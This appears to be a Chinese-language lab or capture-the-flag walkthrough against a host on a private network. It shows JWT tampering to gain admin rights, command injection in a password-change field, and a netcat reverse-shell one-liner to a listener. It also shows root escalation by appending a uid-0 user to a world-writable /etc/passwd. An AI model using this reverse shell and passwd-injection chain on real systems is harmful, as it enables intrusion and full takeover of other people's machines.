一、 信息收集 1、 发现主机 发现有两个ip,尝试之后,都可以登录 下面采取192.168.88.132做测试 2、 检测端口 3、 探测指纹 二、 web渗透 1、 发现一个登陆和注册页面 但是并不能注册,也不能登陆。 2、 发现有js源代码泄露 发现需要name—email—username—password 3、 登陆抓包分析,看能不能注册。 3.1、尝试在后面加和姓名和邮箱 3.2、尝试登陆 但是发现并不能找到一些有用信息,可能是普通用户。 3.3、抓包登陆,尝试垂直越权。 垂直越权和水平越权不懂的看看下面的链接 返回包 带有一个JWT开头的token字段;这个token传递了什么信息呢; JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密; 3.4查看token信息; 可以看到有个auth_level的参数,通过名字可以看出是关于用户权限的,我们可以使用这个参数去在js文件中进行搜索; 3.5 将回包中的standard_user替换成master_admin_user;将回包中的编码替换 退出账号并重新登录,抓包——>Do intercept——>response to this request; 然后forward,获取如下页面,复制修改后的新编码替换原来的编码,注:后面明文处也要修改成“master_admin_user”,然后一直forward; 3.6最后垂直越权成功,此时账号为admin 4、 获取shell 抓包分析 发现不管输入什么都是返回200,所以存在命令注入 直接在修改密码处执行漏洞拿反弹shell; 4.2、在kali监听 4.3、此处的反弹shell为:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.88.141 33333 >/tmp/f; 4.4、反弹成功 三、 提权 得到passwd的权限为777 1、 创建一个新用户 perl -le ‘print crypt(“dayu”,“aa”)’ aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数 2、 将新创建的用户写到passwd文件中; echo ‘dayu: aaP.3CTQfJaLg:0:0:dayu:/root:/bin/bash’ >>/etc/passwd 3、 切换用户 Okok